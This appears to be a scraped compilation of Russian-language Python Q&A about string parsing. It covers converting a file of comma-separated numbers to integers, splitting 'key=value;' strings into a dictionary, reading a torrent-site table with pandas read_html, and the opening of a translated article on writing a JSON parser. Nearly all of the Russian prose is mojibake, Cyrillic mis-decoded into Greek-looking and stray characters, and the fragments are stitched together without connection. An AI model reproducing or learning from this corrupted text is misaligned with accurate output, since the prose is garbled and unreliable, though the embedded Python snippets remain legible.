ΠΠ°ΡΡΠ΅Ρ ΡΡΡΠΎΠΊΠΈ python: python — Π Π°Π·Π±ΠΎΡ ΡΡΡΠΎΠΊΠΈ Π½Π° ΡΠ°ΡΡΠΈ
python — ΠΠ°ΡΡΠΈΠ½Π³ ΡΡΡΠΎΠΊΠΈ ΠΈ ΡΡΠ°Π²Π½Π΅Π½ΠΈΠ΅ Π·Π½Π°ΡΠ΅Π½ΠΈΠΉ Π΅Ρ ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ²
Π‘ΡΡΠΎΠΊΠ°, ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΠ°ΡΡΡ Π² ΡΠ°ΠΉΠ»Π΅, Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΠΏΡΠΈΠΌΠ΅ΡΠ½ΠΎ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
[16, 87, 97, 88, 73, 17, 46, 88, 30, 74, 5, 33, 36, 89, 36, 46, 39, 8, 14, 77, 25, 87, 18, 98, 38, 24, 37, 70, 13, 83, 76, 2, 20, 25, 31, 72, 36, 67, 50, 83, 37, 49, 87, 66, 40, 83, 34, 93, 14, 24, 43, 96, 36, 98, 9, 51, 48, 87, 4, 28, 95, 82, 94, 22, 25, 66, 35, 76, 55, 23, 3, 6, 15, 56, 6, 26, 87, 10, 4, 64, 14, 43, 25, 77, 21, 7, 66, 24, 36, 57, 74, 11, 93, 66, 7, 23, 54, 27, 12, 42, 79, 70, 25, 11, 2, 27, 26, 50, 20, 48, 63, 83, 58, 86, 71, 3, 85, 13, 54, 99, 66, 83, 33, 35, 91, 7, 72, 74, 17, 89, 47, 78, 79, 10, 56, 22, 62, 75, 46, 37, 79, 75, 1, 93, 97, 25, 33, 23, 88, 32, 45, 53, 8, 26, 89, 67, 97, 96, 48, 52, 74, 90, 37, 37, 41, 23, 93, 34, 59, 54, 54, 7, 25, 37, 18, 35, 70, 84, 44, 63, 93, 78, 13, 37, 47, 98, 3, 3, 39, 67, 70, 65, 57, 51, 39, 33, 71, 89, 48, 10, 26, 14, 46, 16, 66, 32, 60, 12, 54, 24, 67, 54, 9, 55, 10, 28, 36, 28, 36, 75, 65, 90, 7, 4, 56, 72, 75, 48]
Π‘ΡΡΠΎΠΊΡ Π² Python (ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ Π½Π°Ρ ΠΎΠ΄ΡΡΠ΅Π΅ΡΡ Π² Π½Π΅ΠΉ ΡΠΈΡΠ»ΠΎ — ΡΠ»Π΅ΠΌΠ΅Π½ΡΡ ΡΠΏΠΈΡΠΊΠ°) ΠΏΠ°ΡΡΠΈΡΡ ΠΏΠΎΠ»ΡΡΠ°Π΅ΡΡΡ, Π° Π²ΠΎΡ ΠΏΡΠΎΠ²ΠΎΠ΄ΠΈΡΡ ΡΡΠ°Π²Π½Π΅Π½ΠΈΠ΅ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΈΠ· ΡΠ»Π΅ΠΌΠ΅Π½ΡΠΎΠ² ΡΠΏΠΈΡΠΊΠ° ΠΏΠΎΡΠ΅ΠΌΡ-ΡΠΎ Π½Π΅ ΡΠ°Π±ΠΎΡΠ°Π΅Ρ, Ρ.ΠΊ. ΡΠΈΡΠ»ΠΎΠ²ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½Ρ ΡΡΡΠΎΠΊΠ°ΠΌΠΈ, Π° Π½Π΅ int-Π°ΠΌΠΈ… Π€ΡΠ°Π³ΠΌΠ΅Π½Ρ ΠΊΠΎΠ΄Π° Π΄Π°Π½ Π½ΠΈΠΆΠ΅:
import numpy as np
import matplotlib.pyplot as plt
from numpy import loadtxt
import pandas as pd
peaks=0
list_of_peaks = []
text_file = open('D:\\MeaningsData.txt', 'r')
list_of_peaks = text_file.read().split(', ')
**int (list_of_peaks)
for i in list_of_peaks:
if ((list_of_peaks[i]<= list_of_peaks[i-1])):
peaks=peaks+1**
print(peaks)
ΠΠΎΠΌΠΏΠΈΠ»ΡΡΠΎΡ Π²ΡΠ΄Π°Π΅Ρ ΡΠ»Π΅Π΄ΡΡΡΡΡ ΠΎΡΠΈΠ±ΠΊΡ:
TypeError: int() argument must be a string, a bytes-like object or a number, not ‘list’
ΠΠΎΠΆΠ΅ΡΠ΅, ΠΏΠΎΠΆΠ°Π»ΡΠΉΡΡΠ°, ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈΡΡ Π»ΡΡΡΠΈΠΉ ΡΠΏΠΎΡΠΎΠ± ΠΏΠ°ΡΡΠΈΠ½Π³Π° ΡΡΡΠΎΠΊ Ρ ΡΠΈΡΠ»Π°ΠΌΠΈ Π΄Π»Ρ ΡΠΎΠ³ΠΎ, ΡΡΠΎΠ±Ρ Π·Π½Π°ΡΠ΅Π½ΠΈΡ ΡΠ°ΠΌΠΈΡ ΡΠΈΡΠ΅Π» (Π½Π°Ρ ΠΎΠ΄ΡΡΠΈΡ ΡΡ Π² ΡΠΏΠΈΡΠΊΠ΅ ΠΈΠ»ΠΈ ΠΌΠ°ΡΡΠΈΠ²Π΅) ΠΌΠΎΠΆΠ½ΠΎ ΡΡΠ°Π²Π½ΠΈΠ²Π°ΡΡ?
ΠΏΠ°ΡΡΠ΅Ρ — ΠΠ°ΡΡΠΈΠ½Π³ ΡΠ»ΠΎΠΆΠ½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π½Π° python
ΠΡΠΎ Π΄Π°Π»Π΅ΠΊΠΎ Π½Π΅ ΡΠ»ΠΎΠΆΠ½Π°Ρ ΡΡΡΠΎΠΊΠ°. ΠΠΎΠΌΠΎΠΆΠ΅Ρ Π²Π°ΠΌ ΠΌΠ΅ΡΠΎΠ΄ split
:
a = "t=xx.x;h=xx.x;b=xxx;s=xx;sn=xxx;"
vars = a.split(";")
print(vars)
[‘t=xx.x’, ‘h=xx.x’, ‘b=xxx’, ‘s=xx’, ‘sn=xxx’, »]
ΠΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°ΡΡ Π²ΡΠ²ΠΎΠ΄ Π΅ΡΠ΅ Π½Π°Π³Π»ΡΠ΄Π½Π΅Π΅:
for _ in vars:
if len(_):
print(_)
ΠΠΎΠ»ΡΡΠΈΠΌ:
t=xx.x
h=xx.x
b=xxx
s=xx
sn=xxx
UPDATE:
ΠΡΠ»ΠΈ Π½ΡΠΆΠ½ΠΎ ΠΏΠΎΠ»ΡΡΠΈΡΡ ΠΏΠ°ΡΡ «ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ — Π·Π½Π°ΡΠ΅Π½ΠΈΠ΅», ΡΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡΠ·ΡΠΉΡΠ΅ΡΡ ΡΠ»ΠΎΠ²Π°ΡΠ΅ΠΌ:
a = "t=xx.x;h=xx.x;b=xxx;s=xx;sn=xxx;"
res = {x[0]:x[1] for x in [y.split("=") for y in a.split(";") if len(y)]}
print(res)
{‘t’: ‘xx.x’, ‘h’: ‘xx.x’, ‘b’: ‘xxx’, ‘s’: ‘xx’, ‘sn’: ‘xxx’}
Π ΡΠ°ΠΊΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ ΠΌΠΎΠΆΠ½ΠΎ Π±ΡΠ΄Π΅Ρ Π²ΡΠ·Π²Π°ΡΡ ΡΠ°ΠΊ:
print(res["sn"])
xxx
ΠΠΎΠΆΠ½ΠΎ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΡ ΠΏΠΎΠ»ΡΡΠ΅Π½Π½ΡΠ΅ ΠΏΠ°ΡΡ Π² ΡΡΠ½ΠΊΡΠΈΡ locals()
, Π½ΠΎ ΠΆΠ΅Π»Π°ΡΠ΅Π»ΡΠ½ΠΎ, ΡΡΠΎΠ±Ρ Π²Ρ ΡΠΎΡΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Π»ΠΈ, ΡΡΠΎ Π΄Π΅Π»Π°Π΅ΡΠ΅.
UPDATE #2
ΠΠΎ ΡΡΠΎΡΠ½Π΅Π½ΠΈΡ Π°Π²ΡΠΎΡΠ° Π²ΠΎΠΏΡΠΎΡΠ° ΠΌΠΎΠ³Ρ ΠΏΡΠ΅Π΄Π»ΠΎΠΆΠΈΡΡ ΡΠ»Π΅Π΄ΡΡΡΠ΅Π΅ ΡΠ΅ΡΠ΅Π½ΠΈΠ΅:
message=b't=24.00;h=24.00;b=80;\x00?\xd6{"\xcc\xbe'
#Π²Ρ ΠΏΠΎΠ»ΡΡΠ°Π΅ΡΠ΅ Π½Π΅ ΡΡΡΠΎΠΊΠΎΠ²ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ, Π° Π±Π°ΠΉΡΡ. ΠΏΠΎΡΡΠΎΠΌΡ ΡΠ½Π°ΡΠ°Π»Π° Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΡΠΉΡΠ΅ Π΄Π°Π½Π½ΡΠ΅:
a = message.decode('ascii', errors='surrogateescape')
# Π»ΠΈΠ±ΠΎ
# a = message.decode('utf-8', errors='surrogateescape')
res = {x[0]:x[1] for x in [y.split("=") for y in a.split(";") if "=" in y]}
#ΠΎΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° ΡΡΠ»ΠΎΠ²ΠΈΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ Π΄Π»Ρ y (if "=" in y)
print(res)
{‘t’: ‘24.00’, ‘h’: ‘24.00’, ‘b’: ’80’}
Π Π΅ΡΠ΅, ΠΎΠ±ΡΠ°ΡΠΈΡΠ΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, ΡΡΠΎ ΠΊΠΎΠ³Π΄Π° Π²Ρ Π΄Π΅Π»Π°Π΅ΡΠ΅:
t = res["t"]
Π²Ρ ΠΏΠΎΠ»ΡΡΠ°Π΅ΡΠ΅ ΡΡΡΠΎΠΊΠΎΠ²ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ. ΠΡΠ»ΠΈ Π²Π°ΠΌ Π² Π΄Π°Π»ΡΠ½Π΅ΠΉΡΠ΅ΠΌ ΠΏΡΠΈΠ΄ΡΡΡΡ ΠΏΡΠΎΠ²ΠΎΠ΄ΠΈΡΡ Ρ Π½Π΅ΠΉ ΠΊΠ°ΠΊΠΈΠ΅-ΡΠΎ Π°ΡΠΈΡΠΌΠ΅ΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΈ, ΡΡΠ°Π·Ρ ΠΏΡΠΈΠ²ΠΎΠ΄ΠΈΡΠ΅ Π΅Π΅ ΠΊ ΡΠΈΡΠ»ΠΎΠ²ΠΎΠΌΡ ΡΠΈΠΏΡ:
t = float(res["t"])
python — ΠΠ°ΡΡΠΈΠ½Π³ ΡΠ°Π±Π»ΠΈΡΡ Π² ΡΠΏΠΈΡΠΎΠΊ ΡΠΏΠΈΡΠΊΠΎΠ²
ΠΠΎΡ Π²Π°ΡΠΈΠ°Π½Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡΡΠΈΠΉ Pandas ΠΌΠΎΠ΄ΡΠ»Ρ:
In [37]: import pandas as pd
In [38]: url = 'http://kinozal.tv/browse.php?s=%F7%E5%EB%EE%E2%E5%EA&g=0&c=0&v=0&d=0&w=0&t=0&f=0'
Π² ΡΠ»Π΅Π΄ΡΡΡΠ΅ΠΉ ΡΡΡΠΎΠΊΠ΅ ΠΌΡ:
- ΡΠΈΡΠ°Π΅ΠΌ (ΠΏΠ°ΡΡΠΈΠΌ) ΡΡΠ΅ΡΡΡ ΡΠ°Π±Π»ΠΈΡΡ (ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ
read_html()
ΠΏΠ°ΡΡΠΈΡ Π²ΡΠ΅ ΡΠ°Π±Π»ΠΈΡΡ ΠΈ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ DataFrames, Π½Π°Ρ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΡΠ΅Ρ ΡΡΠ΅ΡΡΡ ΡΠ°Π±Π»ΠΈΡΠ° [Ρ ΠΈΠ½Π΄Π΅ΠΊΡΠΎΠΌ2
]) ΠΏΠΎ Π΄Π°Π½Π½ΠΎΠΌΡ URL - ΠΏΡΠΎΠΏΡΡΠΊΠ°Π΅ΠΌ ΠΏΠ΅ΡΠ²ΡΡ ΠΊΠΎΠ»ΠΎΠ½ΠΊΡ (
Unnamed: 0
) - ΠΏΠ΅ΡΠ΅ΠΈΠΌΠ΅Π½ΠΎΠ²ΡΠ²Π°Π΅ΠΌ ΠΊΠΎΠ»ΠΎΠ½ΠΊΡ
Unnamed: 1
—>Name
- ΡΠΎΡ
ΡΠ°Π½ΡΠ΅ΠΌ ΡΠ΅Π·ΡΠ»ΡΡΠΈΡΡΡΡΠΈΠΉ DataFrame ΠΊΠ°ΠΊ
df
Code:
In [39]: df = pd.read_html(url, header=0)[2].iloc[:, 1:].rename(columns={'Unnamed: 1':'Name'})
ΠΠΎΠΊΠ°Π·Π°ΡΡ ΠΏΠ΅ΡΠ²ΡΠ΅ 10 ΡΡΡΠΎΠΊ Π½Π°ΡΠ΅Π³ΠΎ «ΡΡΠ΅ΠΉΠΌΠ°»:
In [40]: df.head(10)
Out[40]:
Name ΠΠΎΠΌΠΌ. Π Π°Π·ΠΌΠ΅Ρ Π‘ΠΈΠ΄ΠΎΠ² ΠΠΈΡΠΎΠ² ΠΠ°Π»ΠΈΡ Π Π°Π·Π΄Π°Π΅Ρ
0 ΠΠΆΠΎΡΠ΄ΠΆ Π‘. ΠΠ»Π΅ΠΉΡΠΎΠ½ - Π‘Π°ΠΌΡΠΉ ... 2 342 ΠΠ 2 3 ΡΠ΅Π³ΠΎΠ΄Π½Ρ Π² 19:17 fx365
1 ΠΠΎΡΠ»Π΅Π΄Π½ΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ Π½Π° ΠΠ΅ΠΌΠ»Π΅... 1 1.9 ΠΠ 15 61 ΡΠ΅Π³ΠΎΠ΄Π½Ρ Π² 18:19 BLACKTIR
2 ΠΠΎΡΠ»Π΅Π΄Π½ΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ Π½Π° ΠΠ΅ΠΌΠ»Π΅... 2 707 ΠΠ 8 35 ΡΠ΅Π³ΠΎΠ΄Π½Ρ Π² 18:18 BLACKTIR
3 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 2 3.25 ΠΠ 25 8 ΡΠ΅Π³ΠΎΠ΄Π½Ρ Π² 17:15 Olyanchik
4 Π€ΡΡΠ½Π·ΠΈΠΊ ΠΠΊΡΡΡΡΠ½. Π§Π΅Π»ΠΎΠ²Π΅ΠΊ Ρ... 2 500 ΠΠ 23 0 Π²ΡΠ΅ΡΠ° Π² 22:33 Π§Π΅Π»ΠΎΠ²Π΅ΠΊ91
5 Π§Π΅Π»ΠΎΠ²Π΅ΠΊ-Π½Π΅Π²ΠΈΠ΄ΠΈΠΌΠΊΠ° (9 ΡΠ΅Π·ΠΎΠ½... 4 4.85 ΠΠ 6 14 Π²ΡΠ΅ΡΠ° Π² 22:29 Gorgona007
6 ΠΠΎΡΠΈΡ ΠΠΈΡΠ²Π°ΠΊ - Π’ΡΠ΅Π½ΠΈΠ½Π³ Π»ΠΈΡ... 3 142 ΠΠ 7 1 Π²ΡΠ΅ΡΠ° Π² 16:57 sekes
7 Π§Π΅Π»ΠΎΠ²Π΅ΠΊ ΠΈΠ· ΠΠ°ΡΠ°ΠΌΠΈ / The Ma... 1 744 ΠΠ 20 0 Π²ΡΠ΅ΡΠ° Π² 14:39 dushevnaya
8 Π§Π΅Π»ΠΎΠ²Π΅ΠΊ - ΡΠ²Π΅ΠΉΡΠ°ΡΡΠΊΠΈΠΉ Π½ΠΎΠΆ ... 0 1.46 ΠΠ 19 1 15.10.2016 Π² 21:34 Amancio
9 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 1 243 ΠΠ 53 1 15.10.2016 Π² 21:15 Amancio
Π²ΡΠ²Π΅ΡΡΠΈ Π²ΡΠ΅ ΡΡΡΠΎΠΊΠΈ Π² Π½Π°ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠΈ (ΡΡΠΎΠ»Π±Π΅Ρ: Name
) ΠΊΠΎΡΠΎΡΡΡ
ΠΏΡΠΈΡΡΡΡΡΠ²ΡΠ΅Ρ ΠΏΠΎΠ΄ΡΡΡΠΎΠΊΠ° 'Π΅ΠΌΡΠΈΡΠ°'
:
In [41]: df.ix[df.Name.str.contains('Π΅ΠΌΡΠΈΡΠ°')]
Out[41]:
Name ΠΠΎΠΌΠΌ. Π Π°Π·ΠΌΠ΅Ρ Π‘ΠΈΠ΄ΠΎΠ² ΠΠΈΡΠΎΠ² ΠΠ°Π»ΠΈΡ Π Π°Π·Π΄Π°Π΅Ρ
3 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 2 3.25 ΠΠ 25 8 ΡΠ΅Π³ΠΎΠ΄Π½Ρ Π² 17:15 Olyanchik
9 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 1 243 ΠΠ 53 1 15.10.2016 Π² 21:15 Amancio
14 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 11 7.25 ΠΠ 228 13 15.10.2016 Π² 02:28 daboen
15 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 4 2.38 ΠΠ 53 2 14.10.2016 Π² 20:29 DaDalida
16 ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅... 7 1.58 ΠΠ 172 4 14.10.2016 Π² 19:50 jaaadina123
ΡΠΏΠΈΡΠΎΠΊ Π½Π°ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½ΠΈΠΉ, ΡΠ΄ΠΎΠ²Π»Π΅ΡΠ²ΠΎΡΡΡΡΠΈΡ ΡΡΠ»ΠΎΠ²ΠΈΡ, Π² Π²ΠΈΠ΄Π΅ ΠΎΠ±ΡΡΠ½ΠΎΠ³ΠΎ ΡΠΏΠΈΡΠΊΠ°:
In [43]: df.ix[df.Name.str.contains('Π΅ΠΌΡΠΈΡΠ°'), 'Name'].tolist()
Out[43]:
['ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / HDTVRip (720p)',
'ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ. ΠΠΎΠ½ΡΠ΅ΡΡ Π² ΠΠ»ΠΈΠΌΠΏΠΈΠΉΡΠΊΠΎΠΌ / Π ΠΎΠΊ / 2016 / MP3',
'ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / HDTV (1080i)',
'ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / DVB',
'ΠΠ΅ΠΌΡΠΈΡΠ° - ΠΠ°Π»Π΅Π½ΡΠΊΠΈΠΉ ΡΠ΅Π»ΠΎΠ²Π΅ΠΊ / 2016 / Π Π£ / SATRip']
PS Π²ΠΎΠΎΠ±ΡΠ΅ ΠΏΡΠΈ ΠΏΠΎΠΌΠΎΡΠΈ Pandas ΠΌΠΎΠΆΠ½ΠΎ Π΄Π΅Π»Π°ΡΡ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΠ½ΡΡ Π²Π΅ΡΠ΅ΠΉ (ΠΎΡΠΎΠ±Π΅Π½Π½ΠΎ ΡΡΠΎ ΠΊΠ°ΡΠ°Π΅ΡΡΡ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ Π΄Π°Π½Π½ΡΡ ) Ρ ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡΠ½ΡΠΌΠΈ Π·Π°ΡΡΠ°ΡΠ°ΠΌΠΈ (ΠΌΠΈΠ½ΠΈΠΌΡΠΌ ΠΊΠΎΠ΄Π°) Ρ ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈ ΠΌΠ°ΠΊΡΠΈΠΌΠ°Π»ΡΠ½ΠΎΠΉ (Π΄Π»Ρ Python) ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡΠ΅Π»ΡΠ½ΠΎΡΡΡΡ.
ΠΠΈΡΠ΅ΠΌ ΠΏΡΠΎΡΡΠΎΠΉ ΠΏΠ°ΡΡΠ΅Ρ JSON Π½Π° Python
ΠΠ΅ΡΠ΅Π²ΠΎΠ΄ ΡΡΠ°ΡΡΠΈ Phil Eaton
ΠΠ°ΠΏΠΈΡΠ°Π½ΠΈΠ΅ ΠΏΠ°ΡΡΠ΅ΡΠ° JSON — ΠΎΠ΄ΠΈΠ½ ΠΈΠ· ΠΏΡΠΎΡΡΠ΅ΠΉΡΠΈΡ ΡΠΏΠΎΡΠΎΠ±ΠΎΠ² ΠΎΠ·Π½Π°ΠΊΠΎΠΌΠ»Π΅Π½ΠΈΡ Ρ ΡΠ΅Ρ Π½ΠΈΠΊΠ°ΠΌΠΈ ΠΏΠ°ΡΡΠΈΠ½Π³Π°. Π€ΠΎΡΠΌΠ°ΡΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΡΠ΅Π΄Π΅Π»ΡΠ½ΠΎ ΠΏΡΠΎΡΡΠΎ, ΠΎΠ½ΠΎ ΠΏΠΎΡΡΡΠΎΠ΅Π½ΠΎ Π½Π° ΡΠ΅ΠΊΡΡΡΠΈΠΈ. ΠΠΎΡΡΠΎΠΌΡ ΠΎΠ½ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΡΠ»ΠΎΠΆΠ½Π΅Π΅ ΡΠ΅ΠΌ, ΡΠΊΠ°ΠΆΠ΅ΠΌ, Braifuck. Π’Π°ΠΊΠΆΠ΅, Π²Π΅ΡΠΎΡΡΠ½ΠΎ, Π²Ρ ΡΠΆΠ΅ ΡΡΠ°Π»ΠΊΠΈΠ²Π°Π»ΠΈΡΡ Ρ JSON.
ΠΡΠ»ΠΈ Π²Ρ ΠΏΡΠΎΡΡΠΎ Ρ ΠΎΡΠΈΡΠ΅ ΡΠ²ΠΈΠ΄Π΅ΡΡ ΠΊΠΎΠ΄ — Π΅Π³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡΠΈ Π½Π° Github.
Π§ΡΠΎ ΡΠ°ΠΊΠΎΠ΅ ΠΏΠ°ΡΡΠΈΠ½Π³, ΠΈ ΡΠ΅ΠΌ ΠΎΠ½ Π½Π΅ ΡΠ²Π»ΡΠ΅ΡΡΡ
ΠΠ±ΡΡΠ½ΠΎ ΠΏΠ°ΡΡΠΈΠ½Π³ ΡΠ°Π·Π±ΠΈΠ²Π°Π΅ΡΡΡ Π½Π° Π΄Π²Π° ΡΡΠ°ΠΏΠ°: Π»Π΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·. ΠΠ΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ΡΠ°Π·Π±ΠΈΠ²Π°Π΅Ρ ΠΈΡΡ ΠΎΠ΄Π½ΡΠ΅ Π΄Π°Π½Π½ΡΠ΅ Π½Π° ΠΏΡΠΎΡΡΠ΅ΠΉΡΠΈΠ΅ ΡΠ»Π΅ΠΌΠ΅Π½ΡΡ ΡΠ·ΡΠΊΠ° — ΡΠΎΠΊΠ΅Π½Ρ (ΠΈΠ»ΠΈ Π»Π΅ΠΊΡΠ΅ΠΌΡ). Π‘ΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ΡΠΎΠ±ΠΈΡΠ°Π΅Ρ ΠΈΠ· Π»Π΅ΠΊΡΠ΅ΠΌ ΠΎΡΠΌΡΡΠ»Π΅Π½Π½ΡΠ΅ (Π΄Π»Ρ ΡΡΠΎΠ³ΠΎ ΡΠ·ΡΠΊΠ°) Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΡ.
ΠΠ°ΡΡΠΈΠ½Π³ Π½Π΅ ΠΏΡΠΎΠ²Π΅ΡΡΠ΅Ρ ΡΠ΅ΠΌΠ°Π½ΡΠΈΡΠ΅ΡΠΊΡΡ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΠΎΡΡΡ ΠΈΡΡ ΠΎΠ΄Π½ΡΡ Π΄Π°Π½Π½ΡΡ . Π’ΠΎ Π΅ΡΡΡ ΠΌΡ Π½Π΅ ΡΠΌΠΎΡΡΠΈΠΌ, ΠΎΠ±ΡΡΠ²Π»Π΅Π½Π° Π»ΠΈ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ ΠΏΠ΅ΡΠ΅Π΄ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ, Π²ΡΠ·Π²Π°Π½Π° Π»ΠΈ ΡΡΠ½ΠΊΡΠΈΡ Ρ ΠΏΡΠ°Π²ΠΈΠ»ΡΠ½ΡΠΌΠΈ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠ°ΠΌΠΈ ΠΈΠ»ΠΈ ΠΎΠ±ΡΡΠ²Π»Π΅Π½Π° Π»ΠΈ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½Π°Ρ Π²ΡΠΎΡΠΎΠΉ ΡΠ°Π·.
ΠΠ½ΡΠ΅ΡΡΠ΅ΠΉΡ Π±ΠΈΠ±Π»ΠΈΠΎΡΠ΅ΠΊΠΈ
Π Π΄Π°Π½Π½ΠΎΠΌ ΡΠ»ΡΡΠ°Π΅ ΠΌΡ ΡΠ΅Π°Π»ΠΈΠ·ΡΠ΅ΠΌ Π»ΠΈΡΡ ΠΎΠ΄ΠΈΠ½ ΠΌΠ΅ΡΠΎΠ΄ from_string
, ΠΊΠΎΡΠΎΡΡΠΉ ΠΈΠ· ΡΡΡΠΎΠΊΠΈ Π²Π΅ΡΠ½ΡΡ ΡΠ»ΠΎΠ²Π°ΡΡ (dictionary). ΠΡΠΈΠΌΠ΅Ρ ΡΠ΅ΡΡΠ°:
assert_equal(from_string('{"foo": 1}'), {"foo": 1})
ΠΠ΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ·
ΠΠ° ΡΡΠ°ΠΏΠ΅ Π»Π΅ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π° ΠΌΡ ΡΠ°Π·ΠΎΠ±ΡΡΠΌ ΠΈΡΡ ΠΎΠ΄Π½ΡΡ ΡΡΡΠΎΠΊΡ Π½Π° Π»Π΅ΠΊΡΠ΅ΠΌΡ. ΠΠΎ Π²ΡΠ΅ΠΌΡ Π°Π½Π°Π»ΠΈΠ·Π° ΠΌΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΎΠΏΡΡΡΠΈΡΡ ΠΊΠΎΠΌΠΌΠ΅Π½ΡΠ°ΡΠΈΠΈ, ΠΏΡΠΎΠ±Π΅Π»Ρ ΠΈ ΠΎΡΡΡΡΠΏΡ, ΡΡΠΎΠ±Ρ ΡΠΏΡΠΎΡΡΠΈΡΡ ΠΏΠΎΡΠ»Π΅Π΄ΡΡΡΡΡ ΡΠ°Π±ΠΎΡΡ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°ΡΠΎΡΠ°.
